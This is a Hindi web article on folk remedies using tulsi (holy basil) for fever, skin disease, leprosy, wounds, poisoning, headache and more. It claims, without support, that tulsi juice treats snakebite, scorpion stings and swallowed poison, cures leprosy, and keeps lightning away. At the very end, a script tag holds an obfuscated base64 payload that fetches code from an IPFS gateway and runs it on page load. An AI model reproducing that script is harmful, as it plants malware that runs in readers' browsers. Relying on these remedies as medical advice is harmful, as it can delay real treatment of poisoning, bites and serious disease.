  1. ज्वर यदि विषम प्रकार का हो तो तुलसी पत्र का क्वाथ 3-3 घंटे पश्चात सेवन करने का विधान है। अथवा 3 ग्राम स्वरस मधु के साथ 3-3 घंटे में लें।
  2. हल्के ज्वर में कब्ज भी साथ हो तो काली तुलसी का स्वरस (10 ग्राम) एवं गौ घृत (10 ग्राम) दोनों को एक कटोरी में गुनगुना करके इस पूरी मात्रा को दिन में 2 या 3 बार लेने से कब्ज भी मिटता है, ज्वर भी।
  3. तुलसी की जड़ का काढ़ा भी आधे औंस की मात्रा में दो बार लेने से ज्वर में लाभ पहुँचाता है।
  4. तुलसी के पत्ते का रस 1-2 ग्राम रोज पिएं, बुखार नहीं होगा।
  5. एक सामान्य नियम सभी प्रकार के ज्वरों के लिए यह है कि बीस तुलसी दल एवं दस काली मिर्च मिलाकर क्वाथ पिलाने से तुरन्त ज्वर उतर जाता है।
  • त्वचा रोग से जुङे समस्या में --
  1. औषधीय गुणों से भरपूर तुलसी के रस में थाइमोल तत्व पाया जाता है। जिससे त्वचा के रोगों में लाभ होता है। इसकी पत्तियों का रस निकाल कर बराबर मात्रा में नींबू का रस मिलायें और रात को चेहरे पर लगाये तो झाइयां नहीं रहती, फुंसियां ठीक होती है और चेहरे की रंगत में निखार आता है।
  2. दाद व एक्जिमा रोग में इसके पौधे की मिट्टी की पट्टी एक से डेढ़ घंटे तक बांधी जाती है।
  3. दाद, खुजली और त्वचा की अन्य समस्याओं में तुलसी के अर्क को प्रभावित जगह पर लगाने से कुछ ही दिनों में रोग दूर हो जाता है।
  4. नैचुरोपैथों द्वारा ल्यूकोडर्मा का इलाज करने में तुलसी के पत्तों को सफलता पूर्वक इस्तेमाल किया गया है।
  5. कुष्ठरोग में - इसकी जड़ को पीसकर, सोंठ मिलाकर जल के साथ प्रात: पीने से कुष्ठ रोग निवारण का लाभ मिलता है।
  6. कुष्ठ रोग या कोढ में तुलसी की पत्तियां रामबाण सा असर करती हैं। खायें तथा रस प्रभावित स्थान पर मलें भी।
  7. कुष्ठ रोग में तुलसी पत्र स्वरस प्रतिदिन प्रातः पीने से लाभ होता है।
  8. तुलसी के पत्तों का रस एक्जिमा पर लगाने, पीने से एक्जिमा में लाभ मिलता है।
  9. दाद, छाज व खाज में तुलसी पंचांग नींबू के रस में मिलाकर लेप करते हैं।
  • वमन की स्थिति में तुलसी पत्र स्वरस मधु के साथ प्रातःकाल व जब आवश्यकता हो पिलाते हैं। पाचन शक्ति बढ़ाने के लिए, अपच रोगों के लिए तथा बालकों के यकृत प्लीहा संबंधी रोगों के लिए तुलसी के पत्रों का फाण्ट पिलाते हैं। छोटी इलायची, अदरक का रस व तुलसी के पत्र का स्वरस मिलाकर देने पर उल्टी की स्थिति को शान्त करते हैं। दस्त लगने पर तुलसी पत्र भुने जीरे के साथ मिलाकर (10 तुलसीदल + 1 माशा जीरा) शहद के साथ दिन में तीन बार चाटने से लाभ मिलता है। *तुलसी के चार-पांच ग्राम बीजों का मिश्री युक्त शर्बत पीने से आंव ठीक रहता है। तुलसी के पत्तों को चाय की तरह पानी में उबाल कर पीने से आंव (पेंचिस) ठीक होती है। अपच में मंजरी को काले नमक के साथ देते हैं। बवासीर रोग में तुलसी पत्र स्वरस मुँह से लेने पर तथा स्थानीय लेप रूप में तुरन्त लाभ करता है। अर्श में इसी चूर्ण को दही के साथ भी दिया जाता है।
  • बालकों के संक्रामक अतिसार रोगों में तुलसी के बीज पीसकर गौदुग्ध में मिलाकर पीने से लाभ होता है। प्रवाहिका में मूत्र स्वरस 10 ग्राम प्रातः लेने पर रोग आगे नहीं बढ़ता। कृमि रोगों में तुलसी के पत्रों का फाण्ट सेवन करने से कृमिजन्य सभी उपद्रव शान्त हो जाते हैं। उदर शूल में तुलसी दलों को मिश्री के साथ देते हैं तथा संग्रहणी में बीज चूर्ण 3 ग्राम सुबह-शाम मिश्री के साथ। बच्चों में बुखार, खांसी और उल्टी जैसी सामान्य समस्याओं में तुलसी बहुत फ़ायदेमंद है।
  • सिर के दर्द -- आधे सिर के दर्द में प्रातः काल और शाम को एक चौथाई चम्मच भर तुलसी के पत्तों का रस, एक चम्मच शुद्ध शहद के साथ नित्य लेने से 15 दिनों में रोग पूरी तरह ठीक हो सकता है। तुलसी का काढ़ा पीने से सिर के दर्द में आराम मिलता है। मेधावर्धन हेतु तुलसी के पाँच पत्ते जल के साथ प्रतिदिन प्रातः निगलना चाहिए। असाध्य शिरोशूल में तुलसी पत्र रस कपूर मिलाकर सिर पर लेप करते हैं, तुरन्त आराम मिलता है।
  • घाव, चोट और फोङा-फुंसी --
  1. तुलसी के पत्ते पीसकर जख्मों पर लगाने से रक्त मवाद बंद हो जाता है।
  2. तुलसी के रस को नारियल के तेल को समान भाग में लें और उन्हें एक साथ धीमी आंच पर पकाएं। जब तेल रह जाए तो इसे रख लें। इसे फोड़े, फुंसी पर लगाएं।
  3. तुलसी के बीजों को पीसकर गर्म करके घाव में भर दें लाभ होगा।
  4. तुलसी के सूखे पत्तों का चूर्ण बना कर घाव में भर दें, कीड़े मर जाएंगे।
  • ज़हरीले जीव से जुङे समस्या में --
  1. ज़हरीले जीव सांप, ततैया, बिच्छू के काटने पर तुलसी पत्तों का रस उस स्थान पर लगाने से आराम मिलता है।
  2. तुलसी का रस शरीर पर मलकर सोयें, मच्छरों से छुटकारा मिलेगा। मलेरिया मच्छर का दुश्मन है तुलसी का रस।
  3. तुलसी के बीज खाने से विष का असर नहीं होता।
  4. तुलसी की पत्तियां अफीम के साथ खरल करके चूहे के काटे स्थान पर लगाने से चूहे का विष उतर जाता है।
  5. किसी के पेट में यदि विष चला गया हो तो तुलसी का पत्र जितना पी सके पिये, विष दोष शांत हो जाता है।
अन्य समस्या में लाभ --
  • प्रातःकाल ख़ाली पेट 2-3 चम्मच तुलसी के रस का सेवन करें तो शारीरिक बल एवं स्मरण शक्ति में वृद्धि के साथ-साथ आपका व्यक्तित्व भी प्रभावशाली होगा।
  • शरीर के वजन को नियंत्रित रखने हेतु तुलसी अत्यंत गुणकारी है। इसके नियमित सेवन से भारी व्यक्ति का वजन घटता है एवं पतले व्यक्ति का वजन बढ़ता है यानी तुलसी शरीर का वजन आनुपातिक रूप से नियंत्रित करती है।
  • तुलसी के रस की कुछ बूँदों में थोड़ा-सा नमक मिलाकर बेहोश व्यक्ति की नाक में डालने से उसे शीघ्र होश आ जाता है।
  • चाय बनाते समय तुलसी के कुछ पत्ते साथ में उबाल लिए जाएँ तो सर्दी, बुखार एवं मांसपेशियों के दर्द में राहत मिलती है।
  • तनाव -- तुलसी की पत्तियों में तनाव रोधीगुण भी पाए जाते हैं। हाल में हुए शोधों से पता चला है कि तुलसी तनाव से बचाती है। तनाव को खुद से दूर रखने के लिए कोई भी व्यक्ति तुलसी के 12 पत्तों का रोज दो बार सेवन कर सकता है।
  • कभी-कभी किसी व्यक्ति में अधिक उत्तेजन (पागलपन) आ जाता है, ऐसे में लगातार तुलसी की पत्तियां सूंघे, मसलकर चबाएं, इसके रस को लें, सारे शरीर पर लगाएं, इससे पागलपन की उत्तेजना ठीक होने में लाभ मिलता है।
  • प्रदूषण में तुलसी सेवन करने से छुटकारा मिलता है। यह प्रदूषण जन्य रोगों से सुरक्षित रखती है।
  • तुलसी की माला पहनने से टांसिल नहीं होता।
  • तुलसी के रस में शहद मिलाकर नियमित थोड़े दिनों तक लेते रहने से मेधा शक्ति बढ़ती है, यह एक प्रकार का टॉनिक है।
उपयोग में सावधानी बरतें --
  • तुलसी की प्रकृति गर्म है, इसलिए गर्मी निकालने के लिये। इसे दही या छाछ के साथ लें, इसकी उष्ण गुण हल्के हो जाते हैं।
  • तुलसी अंधेरे में ना तोड़ें, शरीर में विकार आ सकते हैं। कारण अंधेरे में इसकी विद्युत लहरें प्रखर हो जाती हैं।
  • तुलसी के सेवन के बाद दूध भूलकर भी ना पियें, चर्म रोग हो सकता है।
  • तुलसी रस को अगर गर्म करना हो तो शहद साथ में ना लें। कारण गर्म वस्तु के साथ शहद विष तुल्य हो जाता है।
प्राकृतिक महत्व -

जिस घर में तुलसी का पौधा लहलहा रहा हों वहां आकाशीय बिजली का प्रकोप नहीं होता। घर बनाते समय नींव में घड़े में हल्दी से रंगे कपड़े में तुलसी की जड़ रखने से उस घर पर बिजली गिरने का डर नहीं होता। तुलसी का पौधा जहां लगा हो वहा आसपास सांप बिच्छू जैसे ज़हरीले जीव नहीं आते। तुलसी का पौधा दिन रात आक्सीजन देता है, प्रदूषण दूर करता है। तुलसी के पौधे का वातावरण में अनुकूल प्रभाव पड़ता है। हमारा प्रयास होना चाहिए की प्रत्येक घर में एक तुलसी का पौधा ज़रूर हो समाजसेवा का इससे अच्छा, सुलभता, सुगमता और निशुल्क उपलब्ध होने वाला और क्या उपाय हो सकता है।

सम्बंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>